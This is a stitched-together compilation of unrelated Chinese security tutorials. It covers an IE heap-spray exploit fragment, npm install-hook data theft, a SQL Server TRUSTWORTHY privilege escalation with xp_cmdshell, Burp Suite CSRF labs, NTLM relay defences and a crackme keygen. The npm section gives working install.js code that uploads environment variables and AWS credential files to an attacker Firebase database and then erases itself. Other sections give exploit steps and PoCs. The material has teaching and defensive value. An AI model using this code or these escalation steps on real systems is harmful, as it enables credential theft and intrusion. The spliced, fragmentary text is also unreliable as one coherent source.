试了一些方法后发现可以先用OD加载IE，然后运行POC代码，之后在漏洞函数地址0x659D7B46下断，这时候程序的执行权属于IE，用IE打开exploit程序，就能在漏洞函数地址处断下。之后F7跟进0x659D7B86处的“Call
659D7AEA“函数，可以看到大量的”0x0C“被复制：
复制完成后可以看到：函数在返回的时候，返回地址已经被“0x0C0C0C0C “覆盖：
接着eip去堆区的“0x0C0C0C0C“取指执行，会遇到”nop+shellcode“的内存片，eip先滑过nop：
然后shellcode被顺利执行： | 社区文章 |
# 【技术分享】滥用npm库导致数据暗渡
|
##### 译文声明
本文是翻译文章，文章来源：blog.sourceclear.com
原文地址：<https://blog.sourceclear.com/all-your-secrets-belong-to-us/>
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
我们知道，像npm这样的程序包和依赖库管理器通常都允许命令执行作为构建过程的一部分。命令执行为开发人员带来了一个简单方便的机制，使得他们可以通过编写脚本来完成构建过程中的各种任务。例如，npm允许开发人员使用pre-install hook和post-install hook来执行各种任务。在开始构建之前，可以使用pre-install
hook来编译所需的本地库。post-install hook可以用于构建完成之后的清理工作。
在这篇博文中，我们将介绍攻击者是如何利用npm从开发人员的机器中泄露情报的。虽然本文展示的攻击场景是针对npm来说明的，但类似的攻击也可以通过其他软件包管理器来完成，比如gradle。
**漏洞攻击**
为了证明数据渗漏的可行性，我们讲介绍三种不同的情形。对于每种情形，攻击者只需要取得已经发布的npm包，然后设法让开发人员使用npm
install命令来安装它就行了。
我们首先创建一个npm包，并使用package.json文件中的post-install
hook来指定一个需要执行的任务。该任务可以是shell脚本，甚至可以是另一个JavaScript程序。例如，如果我们希望在npm
install命令之后运行一个shell脚本build.sh，我们可以执行以下操作：
{
"name": "a-legit-package",
"version": "0.2.0",
"description": "This package runs a script after installation",
"main": "app.js",
"scripts": {
"postinstall": "sh build.sh"
},
...
}
如果我们想要运行一个JavaScript任务，假设该任务位于名为install.js的文件中，那么我们还可以将其添加到package.json并使用Node来运行它，具体如下所示：
{
"name": "a-legit-package",
"version": "0.2.0",
"description": "This package runs a script after installation",
"main": "app.js",
"scripts": {
"postinstall": "node install.js"
},
...
}
**泄露环境变量**
一旦我们获得了在构建过程中代表用户执行任务的能力，那么就可以利用它来泄露敏感信息，例如环境变量。例如，为了配置AWS CLI，需要设置以下环境变量：
$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_DEFAULT_REGION=us-west-2
如果这些环境变量在开发人员构建node.js项目时已经存在，那么它们可能会被上传到受攻击者控制的位置。为了避免引起怀疑，不要将信息转储到一些容易引起怀疑的IP地址或潜在的可疑域，相反，我们可以使用流行后端作为服务来存放这些信息，例如Firebase。将下面显示的JavaScript代码段放入install.js文件中，在构建之后就会运行。这样的话，它会将所有环境变量复制到Firebase数据库。在退出进程之前，clean（）方法会从系统中删除原始的install.js文件。这样做的好处是，能够确保在开发人员的机器上完成构建之后，不会留下任何的痕迹。
var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");
dbRef.push({status : "leaked env vars", message : process.env}, clean());
function clean(){
try{
fs.unlinkSync("install.js");
}
catch (ex){}
process.exit(0);
}
攻击者可以监控Firebase数据库（https://abcde-fg-1234.firebaseio.com/），并通过捕获的环境变量来查找包含AWS密钥的变量：
**泄漏敏感文件**
如果AWS密钥未存储在环境变量中，攻击者仍然可能通过其他方式来泄漏敏感信息。举例来说，AWS配置指南建议使用?/ .aws /
credentials文件来管理多个命名的配置文件。而这些命名的配置文件可能会存储有多个AWS访问密钥。
[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
[user2]
aws_access_key_id=AKIAI44QH8DHBEXAMPLE
aws_secret_access_key=je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY
由于构建post-install任务时是以用户的相应权限来运行的，因此可以将文件的内容复制到攻击者控制之下的位置。我们可以将install.js修改为下面这样，从而捕获凭证文件中的敏感信息：
var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");
var filepath = process.env.HOME+'/.aws/credentials';
var data = fs.readFileSync(filepath,'utf8');
dbRef.push({status : "leaked sensitive files", message : process.env}, clean());
function clean(){
try{
fs.unlinkSync("install.js");
}
catch (ex){}
process.exit(0);
}
如果开发人员的机器上存在?/ .aws /
credentials文件的话，则很可能会包含多个AWS密钥。与前面的环境变量泄露漏洞相比，这种攻击可能会导致更加敏感的信息泄漏问题。
**本地权限提升**
npm包还可以执行针对底层系统的提权漏洞利用代码。最近在ubuntu系统中发现的的一个漏洞（CVE-2015-1328），允许本地攻击者利用overlayfs组件的缺陷获取root。据报道称：
“当在上层文件系统目录中创建新文件时，overlayfs文件系统未能正确检查此文件的权限。而这一缺陷则可以被内核中没有权限的进程所利用，只要满足该进程CONFIG_USER_NS=y及overlayfs所拥有得FS_USERNS_MOUNT标志，即允许挂载非特权挂载空间的overlayfs。而这一条件是Ubuntu
12.04、14.04、14.10和15.04版本中的默认配置，所以这些版本的Ubuntu系统都受此漏洞影响。
ovl_copy_up_
*函数未能正确检查用户是否有权限向upperdir目录写入文件。而该函数唯一检查的是被修改文件的拥有者是否拥有向upperdir目录写入文件的权限。此外，当从lowerdir目录复制一个文件时，同时也就复制了文件元数据，而并非文件属性，例如文件拥有者被修改为了触发copy_up_*程序的用户。”
目前，该漏洞的利用代码已经被公开。该漏洞利用代码（ofs.c）能够在目标机器上打开一个具有管理员权限的shell。攻击者一旦获得这个shell，就可以用它在系统中安装永久性的后门。
我们知道，借助于npm中的post-install
hook，像构建和运行这种漏洞利用代码这样的事情，简直是小菜一碟。攻击者可以创建一个含有以下内容的build.sh文件，并将其作为post-install任务来运行。
OS=`uname -s`
if [ "$OS" = "Linux" ]
then
gcc ofs.c
./a.out
else
...
fi
**安全影响**
目前，所有流行的构建和包管理器（gradle，maven，npm等）几乎都允许执行系统命令，因此，它们都会收到本文描述的安全漏洞的影响。就npm来说，最近发生了一次攻击，攻击者成功上传了一个恶意软件包，当它作为node.js项目中的依赖库添加时，会删除开发人员的主目录。尽管之前就有人提醒npm模块的这种安全问题，但遗憾是的，目前似乎还没有简单的方法来防止这种攻击。
像从用户的主目录中删除文件这样的直接攻击是很容易检测到的，通常也会引起人们的注意。然而，如果恶意行为更加隐蔽，例如本文介绍的静默窃取信息或安装后门这样的攻击，则可能更难以检测和跟踪。在npm上发布包是非常容易的事情，它只需要一个电子邮件验证即可。随着开发人员数量的增加，以及越来越常见的安装临时包的行为，这种安全漏洞带来的风险只会与日俱增。
**安全对策**
Build
Inspector是一个用于连续集成环境的开源取证沙盒，您可以使用它来检查CI环境。这个工具能够监控网络活动，文件系统更改和运行的进程，从而更容易发现意外和潜在危险的活动。使用这个沙盒环境时，构建操作将在隔离的情况下进行，从而不会影响机器。运行Build
Inspector时，您将获得构建服务器上所有潜在危险活动的报告，您可以借此发现上面提到的安全隐患，从而进一步做出相应的处理。 | 社区文章 |
## 0x01 前提
前提条件，我们获取sqlserver一个名为MyAppUser01
的用户密码，这个用户对MyTestdb01有db_owner权限，并且对MyTestdb01受信用，然后我们可以利用这个用户提权到syadmin权限
测试服务器版本
## 0x02创建用户，受信用数据库
#### 1.创建数据库
CREATE DATABASE MyTestdb01
SELECT suser_sname(owner_sid)
FROM sys.databases
WHERE name = 'MyTestdb01'
#### 2.创建用户
创建一个测试用户
CREATE LOGIN MyAppUser01 WITH PASSWORD = 'MyPassword!';
这里可以看到用户为public角色
#### 3.在"MyTestdb01"数据库中为"MyAppUser01"分配"db_owner"角色,
DB_owner权限，DB是database的缩写，owner即拥有者的意思。它是指某个数据库的拥有者，它拥有了对数据库的修改、删除、新增数据表，执行大部分存储过程的权限。
USE MyTestdb01
ALTER LOGIN [MyAppUser01] with default_database = [MyTestdb01];
CREATE USER [MyAppUser01] FROM LOGIN [MyAppUser01];
EXEC sp_addrolemember [db_owner], [MyAppUser01];
#### 4.确认"MyAppUser01"已添加为db_owner
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
Myappuser01确实为db_owner的权限
查看myappusr01的属性也可以看到
#### 5.将"MyTestdb01"数据库设置为受信任。
ALTER DATABASE MyTestdb01 SET TRUSTWORTHY ON
#### 6.下面的查询将返回SQL Server实例中的所有数据库，并且应将"MyTestdb01 "和"MSDB"数据库标记为可信任。
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
"1"就是受信用
#### 7.开启xp_cmdshell
EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO
## 0x02 提权
1.使用MyAppUser01用户登录，新建查询，看看我们的权限，这里不要用之前的查询，因为那是sa的查询
看看我们的是否为sysadmin
2.新建一个sp_elevate_me查询
USE MyTestdb01
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser01','sysadmin'
GO
3.提权至sysadmin
USE MyTestdb01
EXEC sp_elevate_me
再次检查权限
已经是sysadmin权限了，查看用户的属性也可以看到已经到sysadmin权限了
这里可以利用脚本已经一键利用
<https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1>
首先我们先把sysadmin的权限取消掉，这里可以自行取消掉，但是要添加就会报错
Invoke-SqlServer-Escalate-DbOwner -SqlUser MyAppUser01 -SqlPass MyPassword! -SqlServerInstance WIN-80LVKKRM5UA
成功提权！！
参考:
<http://andreas-wolter.com/en/security-session-sql-server-under-attack-this-november-sql-rally-amsterdam/>
<http://andreas-wolter.com/en/1810_privilege-escalation-to-sysadmin-via-trustworthy-database/>
<https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases> | 社区文章 |
# 梨子带你刷burpsuite靶场系列之客户端漏洞篇 - 跨站请求伪造(CSRF)专题
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本系列介绍
>
> PortSwigger是信息安全从业者必备工具burpsuite的发行商，作为网络空间安全的领导者，他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场)，在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习，本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考，希望能对初学者们有所帮助。
## 梨子有话说
>
> 梨子也算是Web安全初学者，所以本系列文章中难免出现各种各样的低级错误，还请各位见谅，梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的，很多初学者看了很久依然是一知半解的，故希望本系列能够帮助初学者快速地掌握漏洞原理。
## 客户端漏洞篇介绍
> 相对于服务器端漏洞篇，客户端漏洞篇会更加复杂，需要在我们之前学过的服务器篇的基础上去利用。
## 客户端漏洞篇 – 跨站请求伪造(CSRF)专题
### 什么是CSRF？
CSRF全称为cross-site request
forgery，译为跨站请求伪造。有的站点会采用同源策略，如果想要利用受害者身份去执行恶意操作需要攻击者诱使受害者提交那个恶意请求，也就是借刀杀人。
### CSRF是如何运作的？
成功发动CSRF攻击有三个因素
* 一个相关的操作，即你想利用CSRF让受害者干什么，比如权限操作、修改数据等
* 基于cookie的会话处理，cookie是唯一能够通过document.cookie()函数直接获取到的可以用来进行会话处理的字段，所以要想成功发动CSRF需要那个应用程序仅通过cookie进行会话处理。
* 没有不可预测的参数，因为CSRF攻击是要提前构造请求的，所以如果需要填写一些不可预测的参数，如密码，就不能成功发动CSRF
假如某个应用程序存在一个功能点可以修改邮箱地址，会发出这样的请求
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
[email protected]
根据上面讲的三个要素，这个功能点是可以成功发动CSRF的，因为它可以执行攻击者感兴趣的操作(修改邮箱)，然后仅通过cookie来进行会话处理，而且参数只有一个email，所以是可以成功发动CSRF的。这样我们就可以构造这样的CSRF页面去触发它。
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
当我们把这个CSRF页面投放到受害者那里时会因为document.forms[0].submit()自动提交一个POST表单请求，同时会自动使用受害者的Cookie发送，即表示由受害者自主提交的修改邮箱请求。
### 如何构造一个CSRF攻击？
首先我们找到想要用来构造CSRF的请求，然后在burp中右键Engagement tools / Generate CSRF
PoC，然后就会自动生成一个CSRF页面了。
### 配套靶场：无防护的CSRF漏洞
前面介绍过，我们需要先登录给定的用户抓取修改邮箱的请求包
我们看到这个功能还是很好用的，可以自动生成CSRF页面，然后我们将其复制到Exploit Server投放给受害者，就能成功修改其邮箱地址了。
### 如何利用CSRF？
在XSS专题中其实我们已经有所提及了，img会自动向src属性指定的域名发出请求，有的应用程序允许通过发送GET请求修改邮箱地址，所以我们可以将src设置为带有GET参数的CSRF
URL，当加载该img时即会触发CSRF。
### XSS和CSRF有什么区别？
XSS是可以允许攻击者在受害者浏览器执行任意JS脚本，而CSRF是允许攻击者诱使受害者执行他们本不打算执行的操作。相比之下，XSS的危害更大，因为XSS能够执行任意JS脚本，包括发送一些请求，而CSRF只能执行没有实施CSRF防护的功能。XSS可以将结果发送到远程服务器接收，而CSRF只能发出请求而已。
### CSRF Token可以用来缓解XSS吗？
CSRF Token确实可以缓解一些XSS攻击，比如考虑这样的一个XSS payload
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
我们在引入了CSRF Token之后就可以用来缓解这样的XSS攻击
https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>
应用程序会验证CSRF Token，如果是无效的就会拒绝这个请求。但是CSRF Token不能缓解存储型XSS攻击。
### CSRF Token
### 什么是CSRF Token？
CSRF Token是一个唯一的、保密的、不可预测的字符串，它由服务器端生成然后包含在后续的请求中。当服务器端接收到请求后会验证CSRF
Token，如果其已经失效则会拒绝该请求。这就打破了可以成功构造CSRF的三个因素了，即参数不可预测，所以可以用来缓解CSRF攻击。
### CSRF Token应该怎样生成？
CSRF
Token应该具有高度地不可预测性，可以使用高强度的伪随机数生成器(PRNG)，并且以时间戳加上静态密钥作为其种子。如果想要更高的不可预测性，我们可以将随机数与用户的个人标识信息组合，然后再整体做一个哈希处理。
### CSRF Token应该怎样传输？
一般情况，服务器会通过隐藏字段传输给客户端，然后在提交表单的时候自动加进去。在XSS专题中我们介绍了利用悬挂标记攻击获取CSRF
Token的攻击手段，所以我们应该把该字段放在表单最前面。并且尽量不要以GET请求参数和请求标头的方式传输。
### CSRF Token应该怎样验证？
应该在服务器端建立CSRF Token与用户会话的绑定关系，当接收到某个请求时，验证请求中的CSRF
Token是否与所绑定的用户会话匹配，不匹配则拒绝该请求。
### 使用SameSite cookie缓解CSRF攻击
### 什么是SameSite cookie？
SameSite是cookie字段的一个属性，用于定义跨站请求的提交方式，以防止浏览器对于任意来源的请求都自动填充cookie
### SameSite有哪些不同的值，作用是什么？
**SameSite=Strict**
当SameSite被设置为这个值时，浏览器将不会对第三方网站自动填充cookie，但是有一个缺点就是普通用户需要重新登录一次
**SameSite=Lax**
当SameSite被设置成这个值时，浏览器虽然会自动填充cookie，但是有两个条件
* 请求方法为GET( **除此之外的方法不会自动填充** )
* 请求来自顶级框架( **除此之外的请求不会自动填充** )
但是有的网站也会通过GET请求方法去进行一些敏感操作，所以不太建议仅利用SameSite来进行防御CSRF攻击，一般会搭配CSRF Token组合防御
### 常见的CSRF漏洞
### 依赖请求方法的CSRF验证
有的应用系统仅会验证POST请求中的CSRF Token，但是不会验证GET请求下的，这时候会跳过验证
### 配套靶场：依赖请求方法的CSRF Token验证
首先我们将正常修改邮箱请求中的CSRF Token去掉观察一下会发生什么
看到会提示缺少参数，但是如果我们右键change request method将POST请求转换成GET请求再观察一下
发现居然不需要CSRF Token参数就可以，说明我们成功发动了CSRF
### 依赖CSRF Token是否存在的CSRF验证
有的应用系统仅会在请求中存在CSRF Token的情况下对其进行验证，如果不存在该参数则不会进行验证
### 配套靶场：依赖CSRF Token是否存在的CSRF验证
知识点讲的很清楚，当我们去掉请求中的CSRF Token参数时即不会验证该字段
发现可以成功发动CSRF
### CSRF Token未与用户会话绑定
有的应用系统仅会验证CSRF Token的有效性，而不会验证该Token是否属于当前用户，即不会与用户会话绑定
### 配套靶场：CSRF Token未与用户会话绑定
因为CSRF Token未与用户会话绑定，所以我们只需要一个有效的CSRF
Token就可以，于是我们登录测试用户，然后抓取修改邮箱的请求包，制作成CSRF页面，再将这个包丢掉，将这个页面利用Exploit
Server投放给受害者。
因为CSRF Token是有效的，所以是可以成功发动CSRF的
### CSRF Token与非会话cookie绑定
有的应用系统虽然将CSRF Token与Cookie中某个参数值绑定了，但是并没有与session这个Cookie参数绑定，这样还是会导致CSRF
Token与绑定的参数组合可以被任意用户用于请求。
在构造CSRF
POC有一个比较有趣的操作，需要在用burp生成CSRF链接的时候将自动提交标签改成img标签，将提交表单事件设置在onerror属性中，将利用CLRF注入Cookie的页面设置在src属性中。(注：应用Set-Cookie参数值注入Cookie)
### 配套靶场：CSRF Token与非会话cookie绑定
首先我们修改一下cookie中的session，观察一下
发现修改了session以后只是会提示未登录，那么我们修改一下csrfKey参数的值呢
说明CSRF
Token并未与session绑定，而是与csrfKey绑定的，根据cookie的传递性，我们可以在其他页面提前把csrfKey注入进去，这里我们利用img与onerror组合的XSS以及CLRF技术来构造CSRF
当受害者点击CSRF链接时会先触发CLRF注入Set-Cookie参数值将csrfKey值添加到Cookie中，然后再用附有与csrfKey对应的CSRF
Token的请求去提交修改邮箱请求
### CSRF Token被简单复制到cookie中
有的应用程序偷工减料，仅将CSRF Token简单复制到cookie头中，然后仅验证两者是否一致，这样很容易通过验证
### 配套靶场：CSRF Token被简单复制到cookie中
经过测试，使用测试用户提交的修改邮箱请求中的CSRF Token可以无限次使用，所以我们直接由此构造CSRF页面
将该页面投放到受害者之后即可触发CSRF
### 基于Referer抵御CSRF攻击
基于Referer头的防护原理就是检查请求的来源是不是属于该应用程序的域，不过防护效果较差
### 依赖头部是否存在的Referer验证
这种验证手段与之前的类似，即Referer存在即验证，不存在即不验证，通过以下模板来构造CSRF页面
<meta name="referrer" content="no-referrer">
### 配套靶场：依赖头部是否存在的Referer验证
与前面的CSRF验证类似，只不过CSRF页面语句不太一样
这样就不会自动在请求中加入referer字段，从而绕过验证
### 错误地验证Referer
有的时候仅验证Referer头中是否包含预期域名，而不验证是否有其他不可信域名在里面，所以我们可以构造这样奇葩的URL
http://vulnerable-website.com.attacker-website.com/csrf-attack
http://attacker-website.com/csrf-attack?vulnerable-website.com
有的浏览器会将Referer中的查询字符串拆出来，所以我们可以添加Referrer-Policy: unsafe-url这样的头部字段以保证不会被拆出来
### 配套靶场：错误地验证Referer
这里我们需要介绍一下history.pushState，这个函数顾名思义，就是插入历史记录的，所以这也就是为什么第三个参数的值修改为与攻击链接同源后即可绕过错误地Referer头验证机制，所以我们这样构造CSRF页面
这样我们就可以绕过验证Referer来发动CSRF了
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之客户端漏洞篇 –
跨站请求伪造(CSRF)专题的全部内容啦，本专题主要讲了CSRF的形成原理、常见的利用、防护、防护的绕过等，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
**作者：n1nty @ 360 A-TEAM
公众号：<https://mp.weixin.qq.com/s/hACLQ4UgdFXDdlB4CKKhXg>**
近期，因各种相关的漏洞与攻击方案，大家又开始关注了 Credential Relay 这种攻击手法。
在我有限的认知内，我没看到过有人详细地讲解过微软为这种攻击手法而推出的防御机制，所以我整理了一下以前看过的资料，希望这是第一篇（当然讲的比较浅且这其中还有不少我没解决的问题甚至错误，欢迎交流）。
为什么写的是 "Credential Relay" 而不是 "NTLM-Relay"，因为 NTLM 只是Windows 下身份认证的其中一种方法。
### Credential Relay
大体可以分为两类：
1. Credential Forwarding
攻击者通过一定的方法使得 Client 与自己进行认证，然后将 Client 发送过来的 Credential 转发至 Server，从而使攻击者获得
Client 在 Server 上的权限。后续的利用则要看 Server 提供了哪些功能以及 Client 能在 Server 上面做什么。
2. Credential Reflection
攻击者通过一定的方法使得 Client 与自己进行认证，然后将 Client 发送过来的 Credential 转发回 Client 自身，从而攻击
Client（你也可以认为此时的 Client 也相当于是一台 Server）。早年出现的 SMBRelay 攻击方案就是这种方法。
在我有限的认知内，微软推出的所有的防御方案，防御的都是 Server 端。
（除非是在 NTLM 的场景下，你可以通过组策略来配置不允许 Client 发起NTLM 认证）
### 防御方案 1：Server 端的 Signing/Encryption
估计安全圈的各位最熟悉的例子就是 SMB Signing 功能了。
Windows 下的 SSP 除了提供身份认证功能以外，还提供会话安全功能。
比如 Client 与 Server 建立了一个 Socket 连接后，可以使用 SSP 与 Server 进行身份认证，身份认证完以后，Client 与
Server 还可以利用 SSP 提供的会话安全功能为后续的数据包进行签名与加密，以防止数据包被中间人篡改、窃听。
SSP 提供的会话安全功能，是基于 session key 的。在 Client 与 Server 端进行了身份认证以后，Client 与 Server
端都能够同时得到一个用于会话安全功能的 session key。攻击者要想知道这个 session key，就必须要知道 Client 的原始密码，而对于
Credential Relay 的攻击场景，攻击者只是站在一个中间人的位置对 Credential
进行转发，是不可能知道客户端的原始密码的。这一点我在以下这篇文章里面也说过：
[360 A-TEAM 带你走进 NTLM-Relay](http://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483756&idx=1&sn=bda30341cd0eecd692a72258608ceb4a&chksm=ecb11d9cdbc6948af8dcede1617a96e2e85134d00eebfa70e806accdc672d6c20a6c0fb3818a&scene=21#wechat_redirect
"360 A-TEAM 带你走进 NTLM-Relay")
这里用一张图来解释一下 Signing 机制防止 Credential Relay 的方法：
如上图所示：
Attacker 在攻击一个开启了 Signing/Encryption 的服务器的时候，出现的情况就是认证会成功，但是后续的操作会失败。因为 Server
要求后续数据包是被 session key 签名、加密过的，而 Attacker 没有 Client 的原始密码无法计算出那个 session
key，所以自然也就无法对攻击数据包进行签名、加密。操作失败的具体表现依 Server
的不同而不同，你有可能会看到一个报错说操作失败，也有可能看到的是服务端无响应之类的。
Server 必须要支持并且强制使用 SSPI session key 来对数据包进行签名或加密，才能够使用这种方法来防御 Credential
Relay。
### 防御方案 2：EPA
EPA = Extended Protection for Authentication，增强的身份认证保护
这个机制是从什么时候引入的我没有严肃去考证，好像是从 Win7 以及 Windows 2008 R2
开始引入的。其他版本的操作系统可以通过安装补丁的方式来获取此机制。
看这里吧：
<https://docs.microsoft.com/en-US/security-updates/SecurityAdvisories/2009/973811>
EPA 机制主要引入了以下两个方案用于防止 Credential Relay
1. Channel Binding
2. Service Binding
在网络中传输的身份认证数据有的时候也被称为 authentication token。比如 NTLM 的三条消息以及 Kerberos 发送的 AS-REQ/AS-REQ 之类的都可以被称为 authentication token。
Channel binding 与 Service binding 这两个方案就是在原有的 authentication token
中加入一些其他的额外信息，这些额外的信息使得 Server 端可以免受 Credential Relay 的攻击。
### Channel Binding
Channel Binding 方案会在原有 Windows SSPI 生成的 authentication token
中加入一段额外信息，这段额外的信息被称为 Channel Binding Token（CBT）。
Channel Binding 方案只能用于保护那些只接受 TLS 连接的 Server 端。即，它可以使 Server
端有能力知道其接收到的凭据到底是不是发给自己的（也就是有能力知道收到的凭据是不是被 Relay 过来的）。如果发现凭据不是发给自己的（也就是凭据是被
Relay 过来的），则拒收，则 Attacker 尝试与 Server 进行身份认证的请求将会失败。
用一张图演示一下 Channel Binding 防御 Credential Relay 的原理：
上图分为以下几个步骤：
1. Attacker 通过某种方式使得 Client 与自己建立 TLS 连接，并且 Client 将 Credential（authentication token） 发送给 Attacker。authentication token 中带有 CBT。 CBT 是基于 client 到 server 的这个 TLS 连接的一些属性所计算出来的（我没有去研究具体的计算过程）。且这个 CBT 受到了完整性保护，使得攻击者无法删除、修改 CBT。具体的完整性保护的方式依认证协议的不同而不同。
2. Attacker 与 一台开启了 Channel Binding 机制的 Server 建立 TLS 连接，将 authentication token 转发至 Server
3. Server 接收到 authentication token 后，会基于attacker 到 server 的这个 TLS 连接的一些属性计算出来一个 CBT，同时取出 attacker 转发过来的由 client 计算出来的 CBT进行对比。
4. 对比将会失败，因为 client 计算出来的 CBT 是基于 client --> attacker 这个 TLS 连接的一些属性，而 server 计算出来的 CBT是基于 attacker --> server 这个 TLS 连接的一些属性。 通过这个对比，Server 就会知道 attacker 转发过来的 authentication token 并不是发给自己的，所以认定这个凭据是被 relay 过来的，所以 attacker 与 server 的认证将会失败 。
### Service Binding
Channel Binding 只能用于保护使用 TLS 连接的 Server。而 Service Binding 可用于保护那些使用非加密连接的
Server。
Service binding 防御 Credential Relay 的原理与 Channel Binding 基本类似，只不过是将 CBT
替换成了目标服务的 SPN。
下面用一张图来表示 Service Binding 是如何防御 Credential Relay 的：
1. Attacker 通过某种方式触发 Client 与自己认证，Client 发送给 Attacker 的凭据中带有 Attacker 的 SPN（因为 Client 是在访问 Attacker），并且这个 SPN 受到了完整性保护(具体的完整性保护的方式依认证协议不同而不同)，使得 attacker 无法删除、修改这个 SPN。（需要知道的一点是， NTLM 中也是会涉及到 SPN 的概念的）
2. Attacker 将凭据转发至 Server
3. Server 收到凭据后，检查凭据中的 SPN，发现 SPN 不是自己的而是 attacker 的，说明这个凭据并不是发给自己的（而是发给 attacker 的），所以认为遇到了 Credential Relay 攻击，认证将会失败。
需要注意的是，如果你的服务端程序想要受到 EPA 的保护，则要求：
1. 运行服务端的操作系统必须支持 EPA（Win7 及 Win 2018 R2 后自动支持，或者可以通过安装补丁的方式来添加支持）
2. 你的服务端自身需要做修改，来接入 EPA
3. 连接服务端的客户端所在的操作系统要支持 EPA 并且客户端需要做相应修改来发送 CBT 或 SPN
即，EPA 是操作系统提供的一些基础框架，它并不会自动保护服务器上的所有程序，只有那些使用了 EPA 的程序才会受到保护。
有不少服务端程序虽然支持 EPA，但是考虑到兼容性问题（比如客户端不支持 EPA），所以没有强制开启 EPA，LDAPS 就是这么一个例子。
微软针对 CVE-2017-8563 的修复方式就是使 LDAP Server 支持 EPA，但是却没有默认强制 LDAP Server 必须要使用
EPA，所以造成了最近那些 Relay 到 LDAPS 的各种攻击手法。
### 防御方案 3：Type3 in Flight Checking
这是一个操作系统层面针对 NTLM-Relay 的防御方案，主要防御的是 Credential Reflection。
我没找到官方对这种防御方案的命名，所以我把它称为 'Type3 in Flight Checking'
要想受到此机制的保护，要求 Client 与 Server 必须使用 Windows SSPI 来生成与验证 NTLM 消息，而不能用其他第三方 API。
我在先前那篇 Exchange SSRF 中讲到了这个机制的原理，看这里：
[Exchange CVE-2018-8581
补丁有用？没用？](http://mp.weixin.qq.com/s?__biz=MzI5Nzc0OTkxOQ==&mid=2247483837&idx=1&sn=34d3f9eb803f09a45586882f0c6c16e1&chksm=ecb11d4ddbc6945ba8124c34d08d9b080566fb10b2173cc09ea79e88d4d49eb667daf1509aec&scene=21#wechat_redirect
"Exchange CVE-2018-8581 补丁有用？没用？")
除了上述的一些相对通用的 Credential Relay 防御方案以外，微软还为一些与 Relay 相关的 CVE
单独做了一些修补，我花了不少时间在网上进行搜索最后得出一个结论：
目前没人明确知道这些针对 CVE 的修补方案是怎么做的。
* * * | 社区文章 |
打开程序：有几秒的弹窗动画
主程序：
查看help：
大意是：你的任务是禁止开始动画，找到硬编码序列和注册机名称/序列号。这个级别为了确保你理解如何使用工具并且破解程序，这是三个很简单的保护测试。
祝你好运，技术更上一层楼。
先找到硬编码序列。随便填，点“check hardcoded”
弹出失败对话框。
可以考虑MessageBoxA下手和获取文本的地方下手，这里从获取文本的地方下手。
Bp GetDlgItemTextA，再次输入错误的，程序没断下，
删除断点，重新运行程序，bp GetWindowTextA，输入错误的硬编码，断下
Ctrl+F9，执行到函数结束，F7返回主模块。
代码分析如下：
获取输入文本到[403215],与[401353]处字符串比较，相同弹出正确对话框，否则弹出失败对话框
所以正确hardcoded是”HardCoded”
验证：
分析Name/Serial，随便输入：弹出对话框。
这次我们设置条件断点来分析，先将程序运行（因为消息断点必须是窗口创建之后再能设）
点击工具栏W按钮
随便选一个button设置消息断点：
如图：
断点设置成功：
随便输入序列号,点击CHECK，程序断下
通过堆栈知道断在了消息循环内部，消息是WM_LBUTTONUP
点击工具栏中的【M】按钮，打开内存窗口，在code段下内存访问断点
F9运行程序。
回到主模块，再继续F9，直到定位到处理序列号代码（因为给代码段下了内存访问断点，所以F9是一步一断）,然后删除内存访问断点
如图，首先获取的是序列号，保存在[403242]：
获取用户名，保存在[403236]
根据用户名算出s字符串
根据序列号算s2
最后判断：
根据上面写出注册机：（代码在最下面）
注意，输入的序列号必须是可见字符，不仅仅是取模10等于是s[i]，就行，所以用了while循环，直到j可见。
验证：
重新加载，只剩下启动动画了。
可以试试下断CreateWindowExA，重新运行程序，断下了。Ctrl +
